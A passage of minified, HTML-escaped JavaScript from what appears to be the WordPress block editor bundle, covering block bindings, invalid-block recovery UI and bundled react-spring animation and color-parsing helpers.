i=t;window.__experimentalMediaProcessing&amp;&amp;t.mediaUpload&amp;&amp;(i=(0,h.useMemo)((()=&gt;({...t,mediaUpload:ev.bind(null,n)})),[t,n]));const{__experimentalUpdateSettings:s}=U((0,g.useDispatch)(Ii));(0,h.useEffect)((()=&gt;{s({...i,__internalIsInitialized:!0},{stripExperimentalSettings:o,reset:!0})}),[i,o,s]),Zk(e);const l=(0,d.jsxs)(Ss.SlotFillProvider,{passthrough:!0,children:[!i?.isPreviewMode&amp;&amp;(0,d.jsx)(Xk.Register,{}),(0,d.jsx)(ph,{children:e.children})]});return window.__experimentalMediaProcessing?(0,d.jsx)($k,{settings:r,useSubRegistry:!1,children:l}):l}));var nv=e=&gt;(0,d.jsx)(tv,{...e,stripExperimentalSettings:!0,children:e.children});const ov=(0,h.createContext)({});function rv({value:e,children:t}){const n=(0,h.useContext)(ov),o=(0,h.useMemo)((()=&gt;({...n,...e})),[n,e]);return(0,d.jsx)(ov.Provider,{value:o,children:t})}ov.displayName=&quot;BlockContext&quot;;var iv=ov;const sv=&quot;core/pattern-overrides&quot;;function lv(e){return!e||0===Object.keys(e).length}function av(e){return e?.__default?.source===sv}function cv(e,t){if(av(e)){const n={};for(const o of t){const t=e[o]?e[o]:{source:sv};n[o]=t}return n}return e}function uv(e){const{clientId:t}=C(),n=e||t,{updateBlockAttributes:o}=(0,g.useDispatch)(Ii),{getBlockAttributes:r}=(0,g.useRegistry)().select(Ii);return{updateBlockBindings:e=&gt;{const{metadata:{bindings:t,...i}={}}=r(n),s={...t};Object.entries(e).forEach((([e,t])=&gt;{t||!s[e]?s[e]=t:delete s[e]}));const l={...i,bindings:s};lv(l.bindings)&amp;&amp;delete l.bindings,o(n,{metadata:lv(l)?void 0:l})},removeAllBlockBindings:()=&gt;{const{metadata:{bindings:e,...t}={}}=r(n);o(n,{metadata:lv(t)?void 0:t})}}}const dv=(0,h.createContext)({});dv.displayName=&quot;PrivateBlockContext&quot;;const pv={},hv=(0,Ss.withFilters)(&quot;editor.BlockEdit&quot;)((e=&gt;{const{name:t}=e,n=(0,p.getBlockType)(t);if(!n)return null;const o=n.edit||n.save;return(0,d.jsx)(o,{...e})}));var gv=e=&gt;{const{name:t,clientId:n,attributes:o,setAttributes:r}=e,i=(0,g.useRegistry)(),s=(0,p.getBlockType)(t),l=(0,h.useContext)(iv),a=(0,g.useSelect)((e=&gt;U(e(p.store)).getAllBlockBindingsSources()),[]),{bindableAttributes:c}=(0,h.useContext)(dv),{blockBindings:u,context:m,hasPatternOverrides:f}=(0,h.useMemo)((()=&gt;{const e=s?.usesContext?Object.fromEntries(Object.entries(l).filter((([e])=&gt;s.usesContext.includes(e)))):pv;return o?.metadata?.bindings&amp;&amp;Object.values(o?.metadata?.bindings||{}).forEach((t=&gt;{a[t?.source]?.usesContext?.forEach((t=&gt;{e[t]=l[t]}))})),{blockBindings:cv(o?.metadata?.bindings,c),context:e,hasPatternOverrides:av(o?.metadata?.bindings)}}),[t,s?.usesContext,l,o?.metadata?.bindings,a]),b=(0,g.useSelect)((e=&gt;{if(!u)return o;const t={},r=new Map;for(const[e,t]of Object.entries(u)){const{source:n,args:o}=t,i=a[n];i&amp;&amp;c?.includes(e)&amp;&amp;r.set(i,{...r.get(i),[e]:{args:o}})}if(r.size)for(const[o,i]of r){let r={};o.getValues?r=o.getValues({select:e,context:m,clientId:n,bindings:i}):Object.keys(i).forEach((e=&gt;{r[e]=o.label}));for(const[e,n]of Object.entries(r))&quot;url&quot;!==e||n&amp;&amp;Nc(n)?t[e]=n:t[e]=null}return{...o,...t}}),[o,c,u,n,m,t,a]),k=(0,h.useCallback)((e=&gt;{u?i.batch((()=&gt;{const t={...e},o=new Map;for(const[e,n]of Object.entries(t)){if(!u[e]||!c?.includes(e))continue;const r=u[e],i=a[r?.source];i?.setValues&amp;&amp;(o.set(i,{...o.get(i),[e]:{args:r.args,newValue:n}}),delete t[e])}if(o.size)for(const[e,t]of o)e.setValues({select:i.select,dispatch:i.dispatch,context:m,clientId:n,bindings:t});const s=!!m[&quot;pattern/overrides&quot;];f&amp;&amp;s||!Object.keys(t).length||(f&amp;&amp;(delete t.caption,delete t.href),r(t))})):r(e)}),[c,u,n,m,f,r,a,t,i]);if(!s)return null;if(s.apiVersion&gt;1)return(0,d.jsx)(hv,{...e,attributes:b,context:m,setAttributes:k});const v=(0,p.hasBlockSupport)(s,&quot;className&quot;,!0)?(0,p.getBlockDefaultClassName)(t):null,_=gs(v,o?.className,e.className);return(0,d.jsx)(hv,{...e,attributes:b,className:_,context:m,setAttributes:k})},mv=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z&quot;})});var fv=function({className:e,actions:t,children:n,secondaryActions:o}){return(0,d.jsx)(&quot;div&quot;,{style:{display:&quot;contents&quot;,all:&quot;initial&quot;},children:(0,d.jsx)(&quot;div&quot;,{className:gs(e,&quot;block-editor-warning&quot;),children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-warning__contents&quot;,children:[(0,d.jsx)(&quot;p&quot;,{className:&quot;block-editor-warning__message&quot;,children:n}),(t?.length&gt;0||o)&amp;&amp;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-warning__actions&quot;,children:[t?.length&gt;0&amp;&amp;t.map(((e,t)=&gt;(0,d.jsx)(&quot;span&quot;,{className:&quot;block-editor-warning__action&quot;,children:e},t))),o&amp;&amp;(0,d.jsx)(Ss.DropdownMenu,{className:&quot;block-editor-warning__secondary&quot;,icon:mv,label:(0,T.__)(&quot;More options&quot;),popoverProps:{placement:&quot;bottom-end&quot;,className:&quot;block-editor-warning__dropdown&quot;},noIcons:!0,children:()=&gt;(0,d.jsx)(Ss.MenuGroup,{children:o.map(((e,t)=&gt;(0,d.jsx)(Ss.MenuItem,{onClick:e.onClick,children:e.title},t)))})})]})]})})})};function bv({originalBlockClientId:e,name:t,onReplace:n}){const{selectBlock:o}=(0,g.useDispatch)(Ii),r=(0,p.getBlockType)(t);return(0,d.jsxs)(fv,{actions:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;o(e),children:(0,T.__)(&quot;Find original&quot;)},&quot;find-original&quot;),(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;n([]),children:(0,T.__)(&quot;Remove&quot;)},&quot;remove&quot;)],children:[(0,d.jsxs)(&quot;strong&quot;,{children:[r?.title,&quot;: &quot;]}),(0,T.__)(&quot;This block can only be used once.&quot;)]})}function kv({mayDisplayControls:e,mayDisplayParentControls:t,blockEditingMode:n,isPreviewMode:o,...r}){const{name:i,isSelected:s,clientId:l,attributes:a={},__unstableLayoutClassNames:c}=r,{layout:u=null,metadata:g={}}=a,{bindings:m}=g,f=(0,p.hasBlockSupport)(i,&quot;layout&quot;,!1)||(0,p.hasBlockSupport)(i,&quot;__experimentalLayout&quot;,!1),{originalBlockClientId:x}=(0,h.useContext)(dv);return(0,d.jsxs)(w,{value:(0,h.useMemo)((()=&gt;({name:i,isSelected:s,clientId:l,layout:f?u:null,__unstableLayoutClassNames:c,[b]:e,[k]:t,[v]:n,[_]:m,[y]:o})),[i,s,l,f,u,c,e,t,n,m,o]),children:[(0,d.jsx)(gv,{...r}),x&amp;&amp;(0,d.jsx)(bv,{originalBlockClientId:x,name:i,onReplace:r.onReplace})]})}var vv=n(8021);function _v({title:e,rawContent:t,renderedContent:n,action:o,actionText:r,className:i}){return(0,d.jsxs)(&quot;div&quot;,{className:i,children:[(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-compare__content&quot;,children:[(0,d.jsx)(&quot;h2&quot;,{className:&quot;block-editor-block-compare__heading&quot;,children:e}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-compare__html&quot;,children:t}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-compare__preview edit-post-visual-editor&quot;,children:(0,d.jsx)(h.RawHTML,{children:(0,Ua.safeHTML)(n)})})]}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-compare__action&quot;,children:(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,tabIndex:&quot;0&quot;,onClick:o,children:r})})]})}var yv=function({block:e,onKeep:t,onConvert:n,convertor:o,convertButtonText:r}){const i=(s=o(e),(Array.isArray(s)?s:[s]).map((e=&gt;(0,p.getSaveContent)(e.name,e.attributes,e.innerBlocks))).join(&quot;&quot;));var s;const l=(a=e.originalContent,c=i,(0,vv.JJ)(a,c).map(((e,t)=&gt;{const n=gs({&quot;block-editor-block-compare__added&quot;:e.added,&quot;block-editor-block-compare__removed&quot;:e.removed});return(0,d.jsx)(&quot;span&quot;,{className:n,children:e.value},t)})));var a,c;return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-compare__wrapper&quot;,children:[(0,d.jsx)(_v,{title:(0,T.__)(&quot;Current&quot;),className:&quot;block-editor-block-compare__current&quot;,action:t,actionText:(0,T.__)(&quot;Convert to HTML&quot;),rawContent:e.originalContent,renderedContent:e.originalContent}),(0,d.jsx)(_v,{title:(0,T.__)(&quot;After Conversion&quot;),className:&quot;block-editor-block-compare__converted&quot;,action:n,actionText:r,rawContent:l,renderedContent:i})]})};const xv=e=&gt;(0,p.rawHandler)({HTML:e.originalContent});function Sv({clientId:e}){const{block:t,canInsertHTMLBlock:n,canInsertClassicBlock:o}=(0,g.useSelect)((t=&gt;{const{canInsertBlockType:n,getBlock:o,getBlockRootClientId:r}=t(Ii),i=r(e);return{block:o(e),canInsertHTMLBlock:n(&quot;core/html&quot;,i),canInsertClassicBlock:n(&quot;core/freeform&quot;,i)}}),[e]),{replaceBlock:r}=(0,g.useDispatch)(Ii),[i,s]=(0,h.useState)(!1),l=(0,h.useCallback)((()=&gt;s(!1)),[]),a=(0,h.useMemo)((()=&gt;({toClassic(){const e=(0,p.createBlock)(&quot;core/freeform&quot;,{content:t.originalContent});return r(t.clientId,e)},toHTML(){const e=(0,p.createBlock)(&quot;core/html&quot;,{content:t.originalContent});return r(t.clientId,e)},toBlocks(){const e=xv(t);return r(t.clientId,e)},toRecoveredBlock(){const e=(0,p.createBlock)(t.name,t.attributes,t.innerBlocks);return r(t.clientId,e)}})),[t,r]),c=(0,h.useMemo)((()=&gt;[{title:(0,T._x)(&quot;Resolve&quot;,&quot;imperative verb&quot;),onClick:()=&gt;s(!0)},n&amp;&amp;{title:(0,T.__)(&quot;Convert to HTML&quot;),onClick:a.toHTML},o&amp;&amp;{title:(0,T.__)(&quot;Convert to Classic Block&quot;),onClick:a.toClassic}].filter(Boolean)),[n,o,a]);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(fv,{actions:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,onClick:a.toRecoveredBlock,variant:&quot;primary&quot;,children:(0,T.__)(&quot;Attempt recovery&quot;)},&quot;recover&quot;)],secondaryActions:c,children:(0,T.__)(&quot;Block contains unexpected or invalid content.&quot;)}),i&amp;&amp;(0,d.jsx)(Ss.Modal,{title:(0,T.__)(&quot;Resolve Block&quot;),onRequestClose:l,className:&quot;block-editor-block-compare&quot;,children:(0,d.jsx)(yv,{block:t,onKeep:a.toHTML,onConvert:a.toBlocks,convertor:xv,convertButtonText:(0,T.__)(&quot;Convert to Blocks&quot;)})})]})}const wv=(0,d.jsx)(fv,{className:&quot;block-editor-block-list__block-crash-warning&quot;,children:(0,T.__)(&quot;This block has encountered an error and cannot be previewed.&quot;)});var Cv=()=&gt;wv;class Bv extends h.Component{constructor(){super(...arguments),this.state={hasError:!1}}componentDidCatch(){this.setState({hasError:!0})}render(){return this.state.hasError?this.props.fallback:this.props.children}}var Iv=Bv,jv=n(4132);var Ev=function({clientId:e}){const[t,n]=(0,h.useState)(&quot;&quot;),o=(0,g.useSelect)((t=&gt;t(Ii).getBlock(e)),[e]),{updateBlock:r}=(0,g.useDispatch)(Ii);return(0,h.useEffect)((()=&gt;{n((0,p.getBlockContent)(o))}),[o]),(0,d.jsx)(jv.A,{className:&quot;block-editor-block-list__block-html-textarea&quot;,value:t,onBlur:()=&gt;{const i=(0,p.getBlockType)(o.name);if(!i)return;const s=(0,p.getBlockAttributes)(i,t,o.attributes),l=t||(0,p.getSaveContent)(i,s),[a]=t?(0,p.validateBlock)({...o,attributes:s,originalContent:l}):[!0];r(e,{attributes:s,originalContent:l,isValid:a}),t||n(l)},onChange:e=&gt;n(e.target.value)})},Tv=Wv(),Mv=e=&gt;Hv(e,Tv),Pv=Wv();Mv.write=e=&gt;Hv(e,Pv);var Rv=Wv();Mv.onStart=e=&gt;Hv(e,Rv);var Av=Wv();Mv.onFrame=e=&gt;Hv(e,Av);var Nv=Wv();Mv.onFinish=e=&gt;Hv(e,Nv);var Lv=[];Mv.setTimeout=(e,t)=&gt;{let n=Mv.now()+t,o=()=&gt;{let e=Lv.findIndex((e=&gt;e.cancel==o));~e&amp;&amp;Lv.splice(e,1),Vv-=~e?1:0},r={time:n,handler:e,cancel:o};return Lv.splice(Dv(n),0,r),Vv+=1,Uv(),r};var Dv=e=&gt;~(~Lv.findIndex((t=&gt;t.time&gt;e))||~Lv.length);Mv.cancel=e=&gt;{Rv.delete(e),Av.delete(e),Nv.delete(e),Tv.delete(e),Pv.delete(e)},Mv.sync=e=&gt;{Fv=!0,Mv.batchedUpdates(e),Fv=!1},Mv.throttle=e=&gt;{let t;function n(){try{e(...t)}finally{t=null}}function o(...e){t=e,Mv.onStart(n)}return o.handler=e,o.cancel=()=&gt;{Rv.delete(n),t=null},o};var Ov=typeof window&lt;&quot;u&quot;?window.requestAnimationFrame:()=&gt;{};Mv.use=e=&gt;Ov=e,Mv.now=typeof performance&lt;&quot;u&quot;?()=&gt;performance.now():Date.now,Mv.batchedUpdates=e=&gt;e(),Mv.catch=console.error,Mv.frameLoop=&quot;always&quot;,Mv.advance=()=&gt;{&quot;demand&quot;!==Mv.frameLoop?console.warn(&quot;Cannot call the manual advancement of rafz whilst frameLoop is not set as demand&quot;):$v()};var zv=-1,Vv=0,Fv=!1;function Hv(e,t){Fv?(t.delete(e),e(0)):(t.add(e),Uv())}function Uv(){zv&lt;0&amp;&amp;(zv=0,&quot;demand&quot;!==Mv.frameLoop&amp;&amp;Ov(Gv))}function Gv(){~zv&amp;&amp;(Ov(Gv),Mv.batchedUpdates($v))}function $v(){let e=zv;zv=Mv.now();let t=Dv(zv);t&amp;&amp;(Kv(Lv.splice(0,t),(e=&gt;e.handler())),Vv-=t),Vv?(Rv.flush(),Tv.flush(e?Math.min(64,zv-e):16.667),Av.flush(),Pv.flush(),Nv.flush()):zv=-1}function Wv(){let e=new Set,t=e;return{add(n){Vv+=t!=e||e.has(n)?0:1,e.add(n)},delete:n=&gt;(Vv-=t==e&amp;&amp;e.has(n)?1:0,e.delete(n)),flush(n){t.size&amp;&amp;(e=new Set,Vv-=t.size,Kv(t,(t=&gt;t(n)&amp;&amp;e.add(t))),Vv+=e.size,t=e)}}}function Kv(e,t){e.forEach((e=&gt;{try{t(e)}catch(e){Mv.catch(e)}}))}var Zv=Object.defineProperty,qv={};function Yv(){}((e,t)=&gt;{for(var n in t)Zv(e,n,{get:t[n],enumerable:!0})})(qv,{assign:()=&gt;u_,colors:()=&gt;l_,createStringInterpolator:()=&gt;o_,skipAnimation:()=&gt;a_,to:()=&gt;r_,willAdvance:()=&gt;c_});var Xv={arr:Array.isArray,obj:e=&gt;!!e&amp;&amp;&quot;Object&quot;===e.constructor.name,fun:e=&gt;&quot;function&quot;==typeof e,str:e=&gt;&quot;string&quot;==typeof e,num:e=&gt;&quot;number&quot;==typeof e,und:e=&gt;void 0===e};function Qv(e,t){if(Xv.arr(e)){if(!Xv.arr(t)||e.length!==t.length)return!1;for(let n=0;n&lt;e.length;n++)if(e[n]!==t[n])return!1;return!0}return e===t}var Jv=(e,t)=&gt;e.forEach(t);function e_(e,t,n){if(Xv.arr(e))for(let o=0;o&lt;e.length;o++)t.call(n,e[o],`${o}`);else for(let o in e)e.hasOwnProperty(o)&amp;&amp;t.call(n,e[o],o)}var t_=e=&gt;Xv.und(e)?[]:Xv.arr(e)?e:[e];function n_(e,t){if(e.size){let n=Array.from(e);e.clear(),Jv(n,t)}}var o_,r_,i_=(e,...t)=&gt;n_(e,(e=&gt;e(...t))),s_=()=&gt;typeof window&gt;&quot;u&quot;||!window.navigator||/ServerSideRendering|^Deno\//.test(window.navigator.userAgent),l_=null,a_=!1,c_=Yv,u_=e=&gt;{e.to&amp;&amp;(r_=e.to),e.now&amp;&amp;(Mv.now=e.now),void 0!==e.colors&amp;&amp;(l_=e.colors),null!=e.skipAnimation&amp;&amp;(a_=e.skipAnimation),e.createStringInterpolator&amp;&amp;(o_=e.createStringInterpolator),e.requestAnimationFrame&amp;&amp;Mv.use(e.requestAnimationFrame),e.batchedUpdates&amp;&amp;(Mv.batchedUpdates=e.batchedUpdates),e.willAdvance&amp;&amp;(c_=e.willAdvance),e.frameLoop&amp;&amp;(Mv.frameLoop=e.frameLoop)},d_=new Set,p_=[],h_=[],g_=0,m_={get idle(){return!d_.size&amp;&amp;!p_.length},start(e){g_&gt;e.priority?(d_.add(e),Mv.onStart(f_)):(b_(e),Mv(v_))},advance:v_,sort(e){if(g_)Mv.onFrame((()=&gt;m_.sort(e)));else{let t=p_.indexOf(e);~t&amp;&amp;(p_.splice(t,1),k_(e))}},clear(){p_=[],d_.clear()}};function f_(){d_.forEach(b_),d_.clear(),Mv(v_)}function b_(e){p_.includes(e)||k_(e)}function k_(e){p_.splice(function(e,t){let n=e.findIndex(t);return n&lt;0?e.length:n}(p_,(t=&gt;t.priority&gt;e.priority)),0,e)}function v_(e){let t=h_;for(let n=0;n&lt;p_.length;n++){let o=p_[n];g_=o.priority,o.idle||(c_(o),o.advance(e),o.idle||t.push(o))}return g_=0,(h_=p_).length=0,(p_=t).length&gt;0}var __=&quot;[-+]?\\d*\\.?\\d+&quot;,y_=__+&quot;%&quot;;function x_(...e){return&quot;\\(\\s*(&quot;+e.join(&quot;)\\s*,\\s*(&quot;)+&quot;)\\s*\\)&quot;}var S_=new RegExp(&quot;rgb&quot;+x_(__,__,__)),w_=new RegExp(&quot;rgba&quot;+x_(__,__,__,__)),C_=new RegExp(&quot;hsl&quot;+x_(__,y_,y_)),B_=new RegExp(&quot;hsla&quot;+x_(__,y_,y_,__)),I_=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,j_=/^#([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,E_=/^#([0-9a-fA-F]{6})$/,T_=/^#([0-9a-fA-F]{8})$/;function M_(e,t,n){return n&lt;0&amp;&amp;(n+=1),n&gt;1&amp;&amp;(n-=1),n&lt;1/6?e+6*(t-e)*n:n&lt;.5?t:n&lt;2/3?e+(t-e)*(2/3-n)*6:e}function P_(e,t,n){let o=n&lt;.5?n*(1+t):n+t-n*t,r=2*n-o,i=M_(r,o,e+1/3),s=M_(r,o,e),l=M_(r,o,e-1/3);return Math.round(255*i)&lt;&lt;24|Math.round(255*s)&lt;&lt;16|Math.round(255*l)&lt;&lt;8}function R_(e){let t=parseInt(e,10);return t&lt;0?0:t&gt;255?255:t}function A_(e){return(parseFloat(e)%360+360)%360/360}function N_(e){let t=parseFloat(e);return t&lt;0?0:t&gt;1?255:Math.round(255*t)}function L_(e){let t=parseFloat(e);return t&lt;0?0:t&gt;100?1:t/100}function D_(e){let t=function(e){let t;return&quot;number&quot;==typeof e?e&gt;&gt;&gt;0===e&amp;&amp;e&gt;=0&amp;&amp;e&lt;=4294967295?e:null:(t=E_.exec(e))?parseInt(t[1]+&quot;ff&quot;,16)&gt;&gt;&gt;0:l_&amp;&amp;void 0!==l_[e]?l_[e]:(t=S_.exec(e))?(R_(t[1])&lt;&lt;24|R_(t[2])&lt;&lt;16|R_(t[3])&lt;&lt;8|255)&gt;&gt;&gt;0:(t=w_.exec(e))?(R_(t[1])&lt;&lt;24|R_(t[2])&lt;&lt;16|R_(t[3])&lt;&lt;8|N_(t[4]))&gt;&gt;&gt;0:(t=I_.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+&quot;ff&quot;,16)&gt;&gt;&gt;0:(t=T_.exec(e))?parseInt(t[1],16)&gt;&gt;&gt;0:(t=j_.exec(e))?parseInt(t[1]+t[1]+t[2]+t[2]+t[3]+t[3]+t[4]+t[4],16)&gt;&gt;&gt;0:(t=C_.exec(e))?(255|P_(A_(t[1]),L_(t[2]),L_(t[3])))&gt;&gt;&gt;0:(t=B_.exec(e))?(P_(A_(t[1]),L_(t[2]),L_(t[3]))|N_(t[4]))&gt;&gt;&gt;0:null}(e);return null===t?e:(t=t||0,`rgba(${(4278190080&amp;t)&gt;&gt;&gt;24}, ${(16711680&amp;t)&gt;&gt;&gt;16}, ${(65280&amp;t)&gt;&gt;&gt;8}, ${(255&amp;t)/255})`)}var O_=(e,t,n)=&gt;{if(Xv.fun(e))return e;if(Xv.arr(e))return O_({range:e,output:t,extrapolate:n});if(Xv.str(e.output[0]))return o_(e);let o=e,r=o.output,i=o.range||[0,1],s=o.extrapolateLeft||o.extrapolate||&quot;extend&quot;,l=o.extrapolateRight||o.extrapolate||&quot;extend&quot;,a=o.easing||(e=&gt;e);return e=&gt;{let t=function(e,t){for(var n=1;n&lt;t.length-1&amp;&amp;!(t[n]&gt;=e);++n);return n-1}(e,i);return function(e,t,n,o,r,i,s,l,a){let c=a?a(e):e;if(c&lt;t){if(&quot;identity&quot;===s)return c;&quot;clamp&quot;===s&amp;&amp;(c=t)}if(c&gt;n){if(&quot;identity&quot;===l)return c;&quot;clamp&quot;===l&amp;&amp;(c=n)}return o===r?o:t===n?e&lt;=t?o:r:(t===-1/0?c=-c:n===1/0?c-=t:c=(c-t)/(n-t),c=i(c),o===-1/0?c=-c:r===1/0?c+=o:c=c*(r-o)+o,c)}(e,i[t],i[t+1],r[t],r[t+1],a,s,l,o.map)}};var z_=1.70158,V_=1.525*z_,F_=z_+1,H_=2*Math.PI/3,U_=2*Math.PI/4.5,G_=e=&gt;e&lt;1/2.75?7.5625*e*e:e&lt;2/2.75?7.5625*(e-=1.5/2.75)*e+.75:e&lt;2.5/2.75?7.5625*(e-=2.25/2.75)*e+.9375:7.5625*(e-=2.625/2.75)*e+.984375,$_={linear:e=&gt;e,easeInQuad:e=&gt;e*e,easeOutQuad:e=&gt;1-(1-e)*(1-e),easeInOutQuad:e=&gt;e&lt;.5?2*e*e:1-Math.pow(-2*e+2,2)/2,easeInCubic:e=&gt;e*e*e,easeOutCubic:e=&gt;1-Math.pow(1-e,3),easeInOutCubic:e=&gt;e&lt;.5?4*e*e*e:1-Math.pow(-2*e+2,3)/2,easeInQuart:e=&gt;e*e*e*e,easeOutQuart:e=&gt;1-Math.pow(1-e,4),easeInOutQuart:e=&gt;e&lt;.5?8*e*e*e*e:1-Math.pow(-2*e+2,4)/2,easeInQuint:e=&gt;e*e*e*e*e,easeOutQuint:e=&gt;1-Math.pow(1-e,5),easeInOutQuint:e=&gt;e&lt;.5?16*e*e*e*e*e:1-Math.pow(-2*e+2,5)/2,easeInSine:e=&gt;1-Math.cos(e*Math.PI/2),easeOutSine:e=&gt;Math.sin(e*Math.PI/2),easeInOutSine:e=&gt;-(Math.cos(Math.PI*e)-1)/2,easeInExpo:e=&gt;0===e?0:Math.pow(2,10*e-10),easeOutExpo:e=&gt;1===e?1:1-Math.pow(2,-10*e),easeInOutExpo:e=&gt;0===e?0:1===e?1:e&lt;.5?Math.pow(2,20*e-10)/2:(2-Math.pow(2,-20*e+10))/2,easeInCirc:e=&gt;1-Math.sqrt(1-Math.pow(e,2)),easeOutCirc:e=&gt;Math.sqrt(1-Math.pow(e-1,2)),easeInOutCirc:e=&gt;e&lt;.5?(1-Math.sqrt(1-Math.pow(2*e,2)))/2:(Math.sqrt(1-Math.pow(-2*e+2,2))+1)/2,easeInBack:e=&gt;F_*e*e*e-z_*e*e,easeOutBack:e=&gt;1+F_*Math.pow(e-1,3)+z_*Math.pow(e-1,2),easeInOutBack:e=&gt;e&lt;.5?Math.pow(2*e,2)*(2*(V_+1)*e-V_)/2:(Math.pow(2*e-2,2)*((V_+1)*(2*e-2)+V_)+2)/2,easeInElastic:e=&gt;0===e?0:1===e?1:-Math.pow(2,10*e-10)*Math.sin((10*e-10.75)*H_),easeOutElastic:e=&gt;0===e?0:1===e?1:Math.pow(2,-10*e)*Math.sin((10*e-.75)*H_)+1,easeInOutElastic:e=&gt;0===e?0:1===e?1:e&lt;.5?-Math.pow(2,20*e-10)*Math.sin((20*e-11.125)*U_)/2:Math.pow(2,-20*e+10)*Math.sin((20*e-11.125)*U_)/2+1,easeInBounce:e=&gt;1-G_(1-e),easeOutBounce:G_,easeInOutBounce:e=&gt;e&lt;.5?(1-G_(1-2*e))/2:(1+G_(2*e-1))/2,steps:(e,t=&quot;end&quot;)=&gt;n=&gt;{let o=(n=&quot;end&quot;===t?Math.min(n,.999):Math.max(n,.001))*e;return((e,t,n)=&gt;Math.min(Math.max(n,e),t))(0,1,(&quot;end&quot;===t?Math.floor(o):Math.ceil(o))/e)}},W_=Symbol.for(&quot;FluidValue.get&quot;),K_=Symbol.for(&quot;FluidValue.observers&quot;),Z_=e=&gt;Boolean(e&amp;&amp;e[W_]),q_=e=&gt;e&amp;&amp;e[W_]?e[W_]():e,Y_=e=&gt;e[K_]||null;function X_(e,t){let n=e[K_];n&amp;&amp;n.forEach((e=&gt;{!function(e,t){e.eventObserved?e.eventObserved(t):e(t)}(e,t)}))}var Q_=class{[W_];[K_];constructor(e){if(!e&amp;&amp;!(e=this.get))throw Error(&quot;Unknown getter&quot;);J_(this,e)}},J_=(e,t)=&gt;oy(e,W_,t);function ey(e,t){if(e[W_]){let n=e[K_];n||oy(e,K_,n=new Set),n.has(t)||(n.add(t),e.observerAdded&amp;&amp;e.observerAdded(n.size,t))}return t}function ty(e,t){let n=e[K_];if(n&amp;&amp;n.has(t)){let o=n.size-1;o?n.delete(t):e[K_]=null,e.observerRemoved&amp;&amp;e.observerRemoved(o,t)}}var ny,oy=(e,t,n)=&gt;Object.defineProperty(e,t,{value:n,writable:!0,configurable:!0}),ry=/[+\-]?(?:0|[1-9]\d*)(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,iy=/(#(?:[0-9a-f]{2}){2,4}|(#[0-9a-f]{3})|(rgb|hsl)a?\((-?\d+%?[,\s]+){2,3}\s*[\d\.]+%?\))/gi,sy=new RegExp(`(${ry.source})(%|[a-z]+)`,&quot;i&quot;),ly=/rgba\(([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+), ([0-9\.-]+)\)/gi,ay=/var\((--[a-zA-Z0-9-_]+),? ?([a-zA-Z0-9 ()%#.,-]+)?\)/,cy=e=&gt;{let[t,n]=uy(e);if(!t||s_())return e;let o=window.getComputedStyle(document.documentElement).getPropertyValue(t);if(o)return o.trim();if(n&amp;&amp;n.startsWith(&quot;--&quot;)){return window.getComputedStyle(document.documentElement).getPropertyValue(n)||e}return n&amp;&amp;ay.test(n)?cy(n):n||e},uy=e=&gt;{let t=ay.exec(e);if(!t)return[,];let[,n,o]=t;return[n,o]},dy=(e,t,n,o,r)=&gt;`rgba(${Math.round(t)}, ${Math.round(n)}, ${Math.round(o)}, ${r})`,py=e=&gt;{ny||(ny=l_?new RegExp(`(${Object.keys(l_).join(&quot;|&quot;)})(?!\\w)`,&quot;g&quot;):/^\b$/);let t=e.output.map((e=&gt;q_(e).replace(ay,cy).replace(iy,D_).replace(ny,D_))),n=t.map((e=&gt;e.match(ry).map(Number))),o=n[0].map(((e,t)=&gt;n.map((e=&gt;{if(!(t in e))throw Error(&#039;The arity of each &quot;output&quot; value must be equal&#039;);return e[t]})))).map((t=&gt;O_({...e,output:t})));return e=&gt;{let n=!sy.test(t[0])&amp;&amp;t.find((e=&gt;sy.test(e)))?.replace(ry,&quot;&quot;),r=0;return t[0].replace(ry,(()=&gt;`${o[r++](e)}${n||&quot;&quot;}`)).replace(ly,dy)}},hy=&quot;react-spring: &quot;,gy=e=&gt;{let t=e,n=!1;if(&quot;function&quot;!=typeof t)throw new TypeError(`${hy}once requires a function parameter`);return(...e)=&gt;{n||(t(...e),n=!0)}},my=gy(console.warn);gy(console.warn);function fy(e){return Xv.str(e)&amp;&amp;(&quot;#&quot;==e[0]||/\d/.test(e)||!s_()&amp;&amp;ay.test(e)||e in(l_||{}))}new WeakMap;new Set,new WeakMap,new WeakMap,new WeakMap;var by=s_()?rc.useEffect:rc.useLayoutEffect;function ky(){let e=(0,rc.useState)()[1],t=(()=&gt;{let e=(0,rc.useRef)(!1);return by((()=&gt;(e.current=!0,()=&gt;{e.current=!1})),[]),e})();return()=&gt;{t.current&amp;&amp;e(Math.random())}}var vy=[];var _y=Symbol.for(&quot;Animated:node&quot;),yy=e=&gt;e&amp;&amp;e[_y],xy=(e,t)=&gt;((e,t,n)=&gt;Object.defineProperty(e,t,{value:n,writable:!0,configurable:!0}))(e,_y,t),Sy=e=&gt;e&amp;&amp;e[_y]&amp;&amp;e[_y].getPayload(),wy=class{payload;constructor(){xy(this,this)}getPayload(){return this.payload||[]}},Cy=class extends wy{constructor(e){super(),this._value=e,Xv.num(this._value)&amp;&amp;(this.lastPosition=this._value)}done=!0;elapsedTime;lastPosition;lastVelocity;v0;durationProgress=0;static create(e){return new 